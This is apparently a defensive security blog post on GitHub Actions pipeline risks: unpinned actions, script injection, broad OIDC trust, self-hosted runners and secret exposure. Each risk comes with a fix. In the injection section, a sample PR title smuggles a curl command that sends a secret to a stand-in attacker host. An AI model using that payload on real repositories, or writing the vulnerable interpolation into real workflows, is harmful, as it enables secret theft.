Menu
Back to blog
cicdsupply-chaingithub-actions

Your CI/CD Pipeline Has Production Credentials. Does Anyone Know What It Can Reach?

Patrick PutmanJanuary 20, 20259 min read

Your CI/CD pipeline is code execution infrastructure running with production credentials. I want you to sit with that for a second, because most teams treat it like a build tool.

It's not a build tool. It's a machine that runs arbitrary code, has access to your cloud provider, can push to your container registry, and probably has write access to your production infrastructure. The attack surface is enormous. The review it gets is usually zero.

Here are the risks that survive the longest in real environments.

1. Unpinned third-party actions

- uses: actions/checkout@main         # bad
- uses: actions/checkout@v4           # better, but still bad
- uses: actions/checkout@v4.1.1       # better
- uses: actions/checkout@11bd71901bbe96b31137cfe50e689f8c2c4eb6a  # best

When you reference @v4, GitHub resolves that tag at execution time. Tags are mutable. If a popular action is compromised — and this has happened, to actions used by hundreds of thousands of repositories — the attacker moves the tag to their malicious version and every repo that runs that workflow on the next push executes their code with your secrets in scope.

SHA pinning makes the reference immutable. The tradeoff is manual updates when you want to upgrade. Tools like Dependabot and Renovate automate this.

Renovate handles SHA pinning

Renovate Bot can manage SHA-pinned actions and automatically open PRs when new versions are available. It's the lowest-friction way to maintain pinning at scale.

2. Script injection via untrusted input

- name: Build
  run: |
    echo "Building ${{ github.event.pull_request.title }}"

github.event.pull_request.title is attacker-controlled. A PR with the title "; curl attacker.com/exfil?secret=$SECRET_KEY; echo " executes that payload in your runner with access to every secret in scope for the workflow.

This isn't theoretical. It's been used to exfiltrate tokens from open source repositories with large secret stores. The fix is simple and I still see the vulnerable pattern constantly:

- name: Build
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: |
    echo "Building $PR_TITLE"

When the value is assigned to an environment variable instead of interpolated directly into shell, it's treated as a string literal rather than executable code.

3. Overly broad OIDC trust

OIDC for keyless authentication is genuinely good — no long-lived credentials stored anywhere. But the trust policy matters enormously:

{
  "StringLike": {
    "token.actions.githubusercontent.com:sub": "repo:myorg/*:*"
  }
}

The wildcard myorg/* means any repository in the org can assume this role — including repositories created by someone who compromised any org member's account. If the role grants meaningful cloud permissions (GCP project roles, AWS IAM policies, etc.), this is a significant blast radius.

{
  "StringEquals": {
    "token.actions.githubusercontent.com:sub": "repo:myorg/specific-repo:ref:refs/heads/main"
  }
}

Pin the trust to a specific repo and branch. If you need multiple repos, enumerate them. Avoid wildcards in trust policies for roles with production access.

I've seen this pattern in organizations that adopted OIDC specifically to improve security, only to configure it in a way that made the blast radius of any single repository compromise extend to the entire org's cloud footprint.

OIDC done right — with environment claims, reusable workflow restrictions, and per-repo bindings — eliminates long-lived credentials entirely. I've written a full guide covering GCP Workload Identity Federation, AWS IAM OIDC, npm provenance, PyPI Trusted Publishers, and the complete set of claims you can restrict on: GitHub Actions OIDC: Ditch the Long-Lived Secrets.

4. Self-hosted runner isolation

Self-hosted runners introduce risks that hosted runners don't have:

  • Persistence — malicious workflow code can survive between jobs by modifying runner configuration, installing backdoors, or writing to shared paths
  • Network access — runners often reach internal services, cloud metadata endpoints, or other runners on the same network segment
  • Cross-job contamination — without ephemeral runners, a compromised job can affect everything that runs on the same machine afterward

If you use self-hosted runners for anything touching production credentials, they should be ephemeral (fresh VM or container per job), network-isolated (only reach what they actually need), and scoped — production runners should not execute code from PRs opened by external contributors.

5. The secrets-in-environment-variables confusion

# Both of these expose the secret to child processes
env:
  DB_PASSWORD: ${{ secrets.DB_PASSWORD }}

- run: |
    export DB_PASSWORD="${{ secrets.DB_PASSWORD }}"

Both approaches expose the secret to any code running in that step. What differs is visibility: ${{ secrets.X }} values are masked in logs. What teams miss is that if a dependency you're installing logs environment variables — and some do — you'll see the value in plaintext.

The better pattern for sensitive credentials is OIDC where possible (no long-lived credentials to expose), and secret access scoped to specific environments with required reviewers.

Why this matters more than most teams think

The combination of these patterns is what kills you. An unpinned action gets compromised → runs in a workflow with broad OIDC trust → assumes a GCP role → reads your Terraform state (which contains your database credentials) → your whole stack is readable in twenty minutes.

Each finding looks manageable in isolation. Together they're a kill chain.

Beacon's githubactions scanner checks for several of these patterns automatically — unpinned actions, direct interpolation of untrusted context variables, overly broad OIDC trust. It runs on workflow YAML without executing anything, safe as a pre-commit check or read-only CI job.

beacon scan --target https://github.com/myorg/myrepo --module githubactions

The scanner is in active development. Contributions welcome on GitHub.

Related posts